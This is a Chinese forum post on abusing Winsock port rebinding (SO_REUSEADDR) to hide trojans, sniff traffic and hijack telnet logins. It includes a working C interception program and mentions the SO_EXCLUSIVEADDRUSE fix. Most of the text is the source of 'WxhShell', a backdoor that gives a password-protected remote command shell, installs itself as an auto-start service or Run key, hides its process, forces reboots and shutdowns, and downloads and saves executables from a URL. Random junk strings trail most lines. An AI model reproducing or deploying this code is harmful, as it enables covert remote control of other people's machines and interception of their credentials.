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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H!A^ MI   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jm?mO9p~  
MG<~{Y84}  
  saddr.sin_family = AF_INET; X6;aF ;"5  
Y~CS2%j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EKt-C_)U  
vi2xonq^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =SdWU}xn2  
' ZJ6p0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u+V;r)J{  
c:iMbJOn#  
  这意味着什么?意味着可以进行如下的攻击: #:yZJS9f9  
nO/5X>A,Zw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (tz! "K  
x4. #_o&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $~-j-0 \m  
yTEuf@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6nwO:?1o9  
md_Ld /  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J@5 OZFMZ  
K%g\\uo   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OlK2<<  
lojn8uL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A~6 Cs  
F,W(H@ ~x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0TNzVsu7  
p$V+IJtO(  
  #include S\,{ qhd  
  #include k"U4E J{  
  #include 3ZVfZf  
  #include    nGf@zJDb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E|TzrH  
  int main() g %Am[fb  
  { M}vPWWcl  
  WORD wVersionRequested; `+6HHtF  
  DWORD ret; A gPg0(G  
  WSADATA wsaData; V+8+ 17^  
  BOOL val; HqgH\  
  SOCKADDR_IN saddr; NanU%# &  
  SOCKADDR_IN scaddr; W6PGv1iaW>  
  int err; >!2'|y^  
  SOCKET s; ZQ:Y5 ph  
  SOCKET sc; ooAZ,l=8  
  int caddsize; ]+Vcuzq/  
  HANDLE mt; `=*svrmS  
  DWORD tid;   l ghzd6  
  wVersionRequested = MAKEWORD( 2, 2 ); Mc8^{br61  
  err = WSAStartup( wVersionRequested, &wsaData ); 83h3C EQ  
  if ( err != 0 ) { k8ck#%#}Wu  
  printf("error!WSAStartup failed!\n"); 0 QpWt  
  return -1; Z/x1?{z  
  } yx-"YV}5  
  saddr.sin_family = AF_INET; -"<f(  
   ]]7T5'.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HfF$>Z'kM  
!d^`YEfE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cBA[D~s  
  saddr.sin_port = htons(23); Nt'5}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zk]~cG5dT/  
  { +~@Y#>+./l  
  printf("error!socket failed!\n"); l\5 NuCgRY  
  return -1; IlrmXSr  
  } ' 4"L;){:L  
  val = TRUE; O^GXFz^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s,RS}ek~|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3:gk:j#  
  { 5Zov< +kE  
  printf("error!setsockopt failed!\n"); 1K`A.J:Uy  
  return -1; BCbW;w8aI  
  } /[s$A?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ra&C|"~E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %F~ dmA#:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GyCpGP|AZ  
jt3SA [cy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j{=%~  
  { 2S;zze7)  
  ret=GetLastError(); `et<Z  
  printf("error!bind failed!\n"); *v9G#[gG  
  return -1; W@tLT[}CG  
  } :-Pj )Y{I  
  listen(s,2); )N/KQ[W  
  while(1) 7Tbkti;  
  { cG?266{g  
  caddsize = sizeof(scaddr); B_S3}g<~  
  //接受连接请求 bo2Od  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !8g y)2  
  if(sc!=INVALID_SOCKET) NO$Nl/XM  
  { *.RVH<W=8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UXP;'  
  if(mt==NULL) 2KEww3.{  
  { - \QtE}|4  
  printf("Thread Creat Failed!\n"); `FwAlYJK  
  break; krA))cP  
  } El%(je,|  
  } 7d)aDc*TjW  
  CloseHandle(mt); *l//r V?l  
  } *pMA V [^  
  closesocket(s); #5D+XBT  
  WSACleanup(); =Vs<DO{|4q  
  return 0; H[r0jREK  
  }   lg1D>=(mY  
  DWORD WINAPI ClientThread(LPVOID lpParam) | QA8"&r  
  { if'4MDl  
  SOCKET ss = (SOCKET)lpParam; H/$q]i*#K  
  SOCKET sc; *v+ fkg  
  unsigned char buf[4096]; zYL^e @  
  SOCKADDR_IN saddr; +[ zo2lBx  
  long num; ^Ram8fW  
  DWORD val; w(D9'  
  DWORD ret; {@A2jk\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rx/6x(3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;qMlGXW*q  
  saddr.sin_family = AF_INET; V'.|IuN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @-}]~|<  
  saddr.sin_port = htons(23); brWt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =S,<yQJ  
  { (XJQ$n  
  printf("error!socket failed!\n"); u W T[6R  
  return -1; .Dm{mV@*T  
  } H~Cfni;  
  val = 100; TE~@Bl;{?c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H JiP:{  
  { ]@YQi<d2^  
  ret = GetLastError(); C)w *aU,(  
  return -1; [78 .%b'  
  } %*OJRL`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B}X#oA  
  { e=jO_[  
  ret = GetLastError(); 5MJ'/Fy(  
  return -1; bSLj-vp  
  } AHGcWS\,X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R{vPn8X 6g  
  { #4M0%rN  
  printf("error!socket connect failed!\n"); &/9oi_r%r  
  closesocket(sc); V{{x~Q9  
  closesocket(ss); _3a 5/IZ  
  return -1; 3iw9jhK!W  
  } R`q!~8u  
  while(1) Oe`t!&v  
  { <Tf;p8#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z7C1&bGe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sLIP |i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4)I#[&f  
  num = recv(ss,buf,4096,0); Hea<!zPH  
  if(num>0) aehMLl9cl  
  send(sc,buf,num,0); _ GSw\r  
  else if(num==0) N/BU%c ph+  
  break; gN~y6c:N  
  num = recv(sc,buf,4096,0); H%]ch6C  
  if(num>0) n~j[Pw  
  send(ss,buf,num,0); ]?{lQ0vw'w  
  else if(num==0) AHJ;>"]  
  break; 6^;!9$G|D*  
  } #LJ-IDuF!  
  closesocket(ss); Ck?:8YlF  
  closesocket(sc); W?-BT >#s  
  return 0 ; ->=++  
  } J-F_XKqH  
kB#vh  
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========================================================== i5Q<~;Z+  
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下边附上一个代码,,WXhSHELL J_ |x^  
yan[{h]EZ  
========================================================== _#m qg]W'  
Xkom@F~]  
#include "stdafx.h" ton`ji\^  
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#include <stdio.h> uFZB8+  
#include <string.h> nD\os[ 3  
#include <windows.h> [dlH t;S  
#include <winsock2.h> .N&}<T[  
#include <winsvc.h> _9|@nUD  
#include <urlmon.h> G6{A[O[  
*J5RueUG  
#pragma comment (lib, "Ws2_32.lib") |wQZ~Ux:  
#pragma comment (lib, "urlmon.lib") X388Gs;e  
mX@* 2I  
#define MAX_USER   100 // 最大客户端连接数 y51D-vj  
#define BUF_SOCK   200 // sock buffer E^a `IA  
#define KEY_BUFF   255 // 输入 buffer IQe[ CcM  
:<k|u!b}y  
#define REBOOT     0   // 重启 c0q)  
#define SHUTDOWN   1   // 关机 4!vUksM  
=@=R)C4f*  
#define DEF_PORT   5000 // 监听端口 } <4[(N  
NqE7[wH  
#define REG_LEN     16   // 注册表键长度 -Jo :+].  
#define SVC_LEN     80   // NT服务名长度 Cnci%e o  
 O'|P|  
// 从dll定义API Ks2%F&\cE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o~_>p/7;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5'Jh2r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E(kpK5h{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [.xk  
Pl& `&N;  
// wxhshell配置信息 =v$s+`cP  
struct WSCFG { KGmc*Jwy  
  int ws_port;         // 监听端口 "UGj4^1f  
  char ws_passstr[REG_LEN]; // 口令 =^y{@[p`(  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3H#/u! W  
  char ws_regname[REG_LEN]; // 注册表键名 #r)1<}_e#  
  char ws_svcname[REG_LEN]; // 服务名 cN}A rv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jI`To%^ Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I@Z*Nu1L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 np\2sa`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PJ'lZu8?x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V,"iMo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3(})uV  
m:f ouMS  
}; 124L3AG  
ec4%Wk2  
// default Wxhshell configuration ]!G>8Rc  
struct WSCFG wscfg={DEF_PORT, <`j[;>O  
    "xuhuanlingzhe", _JJKbi  
    1, _% 9+U [@  
    "Wxhshell", )  v5n "W  
    "Wxhshell", ^iRwwN=d  
            "WxhShell Service", R|J>8AL}BY  
    "Wrsky Windows CmdShell Service", [S&O-b8A  
    "Please Input Your Password: ", ro^6:w3O^  
  1, "Xk%3\{P  
  "http://www.wrsky.com/wxhshell.exe", +M O5'z  
  "Wxhshell.exe" roj04|  
    }; gq_7_Y/  
A='+tJa  
// 消息定义模块 dwbY"t[9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *RbOQ86vP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (&S[R{=^j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4 Re@QOZ  
char *msg_ws_ext="\n\rExit."; n vpPmc  
char *msg_ws_end="\n\rQuit."; Jv^cOc  
char *msg_ws_boot="\n\rReboot..."; l9NOzAH3  
char *msg_ws_poff="\n\rShutdown..."; D7WI(j\  
char *msg_ws_down="\n\rSave to ";  ]RX tC*  
,C,e/>+My  
char *msg_ws_err="\n\rErr!"; 2C33;?M  
char *msg_ws_ok="\n\rOK!"; M|5]#2J_2  
JlDDM %  
char ExeFile[MAX_PATH]; 5 (21gW9  
int nUser = 0; 4 ^~zN"6]  
HANDLE handles[MAX_USER]; +V);'"L  
int OsIsNt; U]!.~ji3  
xe gL!  
SERVICE_STATUS       serviceStatus; fJ&<iD)6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [zTYiNa  
RTgA[O4J  
// 函数声明 Ns|V7|n]  
int Install(void); u->@|tEq  
int Uninstall(void); OT}Yr9h4  
int DownloadFile(char *sURL, SOCKET wsh); O`[iz/7m  
int Boot(int flag); ;Ma/b=Y  
void HideProc(void); 8LQ59K_WX  
int GetOsVer(void); ?F87C[o  
int Wxhshell(SOCKET wsl); T5dUJR2k$  
void TalkWithClient(void *cs); $dZ>bXUw:  
int CmdShell(SOCKET sock); 5}MlZp  
int StartFromService(void); ELrZ8&5G  
int StartWxhshell(LPSTR lpCmdLine); ]Z$TzT&@%  
(O_t5<A*X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Z;`#{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0qL V(L  
XAU_SPAjiw  
// 数据结构和表定义 /,Dwu?Lcqp  
SERVICE_TABLE_ENTRY DispatchTable[] = ]o[X+;Tj|  
{ 3:~l2KIP4  
{wscfg.ws_svcname, NTServiceMain}, Q3Z%a|3W  
{NULL, NULL} ~AC P%QM=  
}; SGBVR^  
I*:qGr+ WJ  
// 自我安装 J|"nwY}a9  
int Install(void) :,%J6Zh?  
{ pqH( Tbjq  
  char svExeFile[MAX_PATH]; 3Zaq#uA  
  HKEY key; /nY).lSH  
  strcpy(svExeFile,ExeFile); e>,9]{N+$  
9QOr,~~s  
// 如果是win9x系统,修改注册表设为自启动 o!s%h!%L  
if(!OsIsNt) { $d2kHT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {8{t]LK<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FYXw$7'l  
  RegCloseKey(key); YHO;IQ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + U+aWk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o%Uu.P  
  RegCloseKey(key); )RA\kZ"  
  return 0; 2Ft8dfdm`  
    } CQBT::  
  } `i t+D  
} 9ra HSzK@d  
else { ;# R3k  
nIV.9#~&  
// 如果是NT以上系统,安装为系统服务 ;w+:8<mM}a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W>}Qer4  
if (schSCManager!=0) Dm|gSv8d,  
{ y$j1?7  
  SC_HANDLE schService = CreateService QIij>!c4  
  ( BcZEa^^~os  
  schSCManager, 42Aje  
  wscfg.ws_svcname, TV1e bH7q  
  wscfg.ws_svcdisp, d s|8lz,  
  SERVICE_ALL_ACCESS, ?jNF6z*M6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w69>tC  
  SERVICE_AUTO_START, fuNl4BU  
  SERVICE_ERROR_NORMAL, P[rAJJN/E  
  svExeFile, 2I]]WBW#:  
  NULL, rV8(ia  
  NULL, OH$ F >wO  
  NULL, eW%L$I  
  NULL, bK$/,,0=X/  
  NULL JHvFIo   
  ); j<l#qho{h  
  if (schService!=0) k Zk .]b  
  { :SQDqG   
  CloseServiceHandle(schService); < 72s7*Rv  
  CloseServiceHandle(schSCManager); Yl)eh(\&J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |u^)RB  
  strcat(svExeFile,wscfg.ws_svcname); 0(Y%,q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A+0T"2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ud>`@2  
  RegCloseKey(key); !sg%6H?}  
  return 0; HCX!P4Hj  
    } zQL!(2  
  } UfK4eZx*`  
  CloseServiceHandle(schSCManager); &Q'\WA'  
} nmD1C_&  
} CDQJ bvx  
I;Al? &uw  
return 1; -@%t"8  
} U9<_6Bsd  
W:VW_3  
// 自我卸载 *C4~}4WT\  
int Uninstall(void) q?;N7P  
{ %'{V%IXQ  
  HKEY key; -!XrwQyk  
:0M' =~[  
if(!OsIsNt) { Ff[H>Lp~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u{g]gA8s  
  RegDeleteValue(key,wscfg.ws_regname); ,3VG.u;U   
  RegCloseKey(key); (y=dR1p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ltNuLZ  
  RegDeleteValue(key,wscfg.ws_regname); DapQ}2'_  
  RegCloseKey(key); 2-8YSHlh  
  return 0; .HyjL5r-  
  } }Q`/K;yq  
} nnfY$&3A  
} v$t{o{3  
else { |9+bSH9  
_n< LVd E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >lA7*nn  
if (schSCManager!=0) ?D1x;i9<  
{ +DicP"~*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pZu?V"R  
  if (schService!=0) CHPL>'NJzc  
  { SW3wMPy&s  
  if(DeleteService(schService)!=0) { AU0$A403  
  CloseServiceHandle(schService); ow-+>Y[qZ  
  CloseServiceHandle(schSCManager); Ezi' 2Sc  
  return 0; "I5uDFZR&  
  } |*%/ovg+  
  CloseServiceHandle(schService); jZa25Z00  
  } OF-E6bc  
  CloseServiceHandle(schSCManager); w>v5oy8s-  
} &@=u+)^-{  
} `ajx hp  
h^['rmd  
return 1; ;rNd701p"  
} w|&,I4["  
40 A&#u9o  
// 从指定url下载文件 UE"7   
int DownloadFile(char *sURL, SOCKET wsh) {VBR/M(q  
{ j?=VtVP  
  HRESULT hr; H9sZR>(^  
char seps[]= "/"; $ b4*/vMr  
char *token; cE^kpnVq|<  
char *file; :[ L{KFQU  
char myURL[MAX_PATH]; c L?\^K)  
char myFILE[MAX_PATH]; D._{E*vg  
U%Dit  
strcpy(myURL,sURL); j -#E?&2  
  token=strtok(myURL,seps); vZ:G8K)o(  
  while(token!=NULL) w-J"zC  
  { : @s8?eg  
    file=token; +:}kZDl@ X  
  token=strtok(NULL,seps); T:c7@^=  
  } ex.+'m<g  
&8Zeq3~  
GetCurrentDirectory(MAX_PATH,myFILE); 3b#L17D3_  
strcat(myFILE, "\\"); j0AwL7  
strcat(myFILE, file); }|AX_=a  
  send(wsh,myFILE,strlen(myFILE),0); L?C\Q^0"`G  
send(wsh,"...",3,0); |Es0[cU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z|uOJ0uK  
  if(hr==S_OK) ]n~yp5Nbr  
return 0; eUYZxe :6  
else P=2wkzeJj  
return 1; w(/7Jt$  
uG4$2  
} O97VdNT8  
bk.*k~_  
// 系统电源模块 w_\nB}_  
int Boot(int flag) c2/"KT  
{ j]AekI4I  
  HANDLE hToken; ? 'Cb-C_  
  TOKEN_PRIVILEGES tkp; hMv2"V-X  
Ocybc%  
  if(OsIsNt) { V>6QPA^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B<Ol+)@,}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qbH %Hx  
    tkp.PrivilegeCount = 1; CdZnD#F2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i)=m7i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X|,["Az 8  
if(flag==REBOOT) { gglf\)E;}E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B4@fY  
  return 0; XWJ SLN(O  
} 2bkJ /u`i  
else { ;r3}g"D@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &0s*P G  
  return 0; lbd(j{h>4  
} F9%,MSt  
  } >$Fp}?xX  
  else { UnP|]]o:I  
if(flag==REBOOT) { uN8/Q2   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { E^U6@  
  return 0; rjXnDh]MC  
} *u}'}jC1X  
else { 3\1#eK'TK.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h 5Hr[E1  
  return 0; Sg_O?.r  
} 9YAM#LBTWi  
} lVP |W:~K  
&m'?*O |  
return 1; D'<$ g  
} Cpe#[mE  
+N7"EROc  
// win9x进程隐藏模块 w\Iqzpikr  
void HideProc(void) z4bN)W )p  
{  ![ a  
dIvy!d2l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RJ@\W=aZ  
  if ( hKernel != NULL ) 4oV {=~V  
  { Q<1L`_.>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gy9 $Wj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a#$N%=j  
    FreeLibrary(hKernel); qIz}$%!A  
  } mf$Sa58  
g &*mozs  
return; CG.,/]_  
} S"Kq^DN  
f9a$$nb3`  
// 获取操作系统版本 ##v`(#fu  
int GetOsVer(void) 7LfcF  
{ iKhH^V%j  
  OSVERSIONINFO winfo; *Z; r B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); St+ "ih%  
  GetVersionEx(&winfo); 1 =^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fgmSgG"b  
  return 1; #~S>K3(  
  else Q,~x#  
  return 0; >nK%^T  
} F_v-}bbcFQ  
T{tn.sT  
// 客户端句柄模块 7*/J4MN  
int Wxhshell(SOCKET wsl) |g!`\@O  
{ s%O Y<B@V2  
  SOCKET wsh; 4v Lw?_".  
  struct sockaddr_in client; >L=;"+B0U&  
  DWORD myID; modC6d%  
"W5rx8a  
  while(nUser<MAX_USER) #3+~.,X9  
{ l#$TYJi  
  int nSize=sizeof(client); NV6G.x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _4v"")Xe  
  if(wsh==INVALID_SOCKET) return 1; !VRo*[yD@  
TM-Fu([LMV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AuXs B  
if(handles[nUser]==0) jM@?<1  
  closesocket(wsh); V'I T1~  
else D"!jbVz]*  
  nUser++; U <rI!!#9  
  } :v)6gz(p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L#2ZMy  
Z9VR]cf?  
  return 0; ?A&%Cwj  
} G|*G9nQ  
XXm'6xD-  
// 关闭 socket bcn7,ht  
void CloseIt(SOCKET wsh) ot }6D  
{ #1gO?N(<=  
closesocket(wsh); ;{gT=,KQ`  
nUser--; O1'K>teF%  
ExitThread(0); Kp&3=e;vn{  
} 0sh~I  
)NIv  "Q  
// 客户端请求句柄 iD714+N(  
void TalkWithClient(void *cs) ]-bQNYKX  
{ (;ADW+.`J  
M)O [j}N  
  SOCKET wsh=(SOCKET)cs; 'yr{^Pek  
  char pwd[SVC_LEN]; ~b6GrY"vB  
  char cmd[KEY_BUFF]; ? |VysJ  
char chr[1]; TF2KZL#A|  
int i,j; ve fU'  
n"Z |e tZ4  
  while (nUser < MAX_USER) { Y{+3}drJE  
9`Vc  
if(wscfg.ws_passstr) { jT-<IJh!o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V{ |[oIp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o(fyd)t  
  //ZeroMemory(pwd,KEY_BUFF); q:]Q% IC^  
      i=0; OaaH$B  
  while(i<SVC_LEN) { D5L{T+}Oi%  
i*CnoQH  
  // 设置超时 5\'AD^{  
  fd_set FdRead; d.AC%&W  
  struct timeval TimeOut;  :,~K]G  
  FD_ZERO(&FdRead); E}YI WTX  
  FD_SET(wsh,&FdRead); 9!#EwPD$#  
  TimeOut.tv_sec=8; J>h;_jA  
  TimeOut.tv_usec=0; EEwWucQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c1#+Vse  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GHG,!C  
6|#g+&[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) EXJ   
  pwd=chr[0]; ]0-<>  
  if(chr[0]==0xd || chr[0]==0xa) { vQHpf>o  
  pwd=0; {SdO9Yy?@7  
  break; hB>^'6h+  
  } T 1zi0fa'  
  i++; ="(>>C1-  
    } MGaiTN^_<  
+ zp0" ,2B  
  // 如果是非法用户,关闭 socket :0I l|aB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q0>q:aj\  
} 'RLOV  
CXAVGO'xw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |}Ph"g2D,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &,MFB  
m\-PU z&C  
while(1) { s)w9%  
zPE$  
  ZeroMemory(cmd,KEY_BUFF); x{hn2]6+eB  
l1r_b68  
      // 自动支持客户端 telnet标准   wOg,SMiq  
  j=0; X-/Ban  
  while(j<KEY_BUFF) { bVK$.*,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  }_%P6  
  cmd[j]=chr[0]; kEP<[K  
  if(chr[0]==0xa || chr[0]==0xd) { niWx^gKb$  
  cmd[j]=0; Pm?B 9S  
  break; T*+A.G@L"  
  } eY}V9*.v  
  j++; wS$46M<  
    } u"FjwF?  
"b%FmM  
  // 下载文件 0( //D;j  
  if(strstr(cmd,"http://")) { s MZ[d\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mH\@QdF  
  if(DownloadFile(cmd,wsh)) BS2?!;,8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!c gN  
  else ChE_unw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XwPx9+b6j  
  } fM ^<+o@  
  else { '5rU e\k  
7'eh)[T  
    switch(cmd[0]) { u-.L^!k  
  '[f Zt#  
  // 帮助 ~L'nz quF  
  case '?': { (("OYj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z_l. V/G)  
    break; d)KF3oA  
  } jBRPR R0  
  // 安装 1X&B:_  
  case 'i': { vGN3 YcH  
    if(Install()) ;J=:IEk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|Y~u*D  
    else U ~1 SF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8&.-]{Z  
    break; JXm?2 /  
    } XeU<^ [  
  // 卸载 8R4qU!M  
  case 'r': { Sk=N [hwU  
    if(Uninstall()) it,w^VU_]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k?j Fh6%  
    else ipZHSA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9,WG!4:+W  
    break; .$wLLE^*  
    } @a(oB.i  
  // 显示 wxhshell 所在路径 784;]wdy\  
  case 'p': { ?D=8{!R3  
    char svExeFile[MAX_PATH]; gp/YjUH7k8  
    strcpy(svExeFile,"\n\r"); n(R_#,Hs  
      strcat(svExeFile,ExeFile); sFElD ]|  
        send(wsh,svExeFile,strlen(svExeFile),0); m&Sp1=*Ejy  
    break; @q)E=G1<o0  
    } JIV8q HC  
  // 重启 woau'7}XOu  
  case 'b': { c[5@ \j\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'vlrc[|/  
    if(Boot(REBOOT)) q[c Etp28h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?7BxYaa  
    else { V(..8}LlD  
    closesocket(wsh); E}$V2ha0zu  
    ExitThread(0); Z,aGtJ.a'9  
    } %U?)?iZdL  
    break; oMc1:=EG  
    } 40.AM1Z0f  
  // 关机 hdg<bZk:  
  case 'd': { v[L[A3`"/  
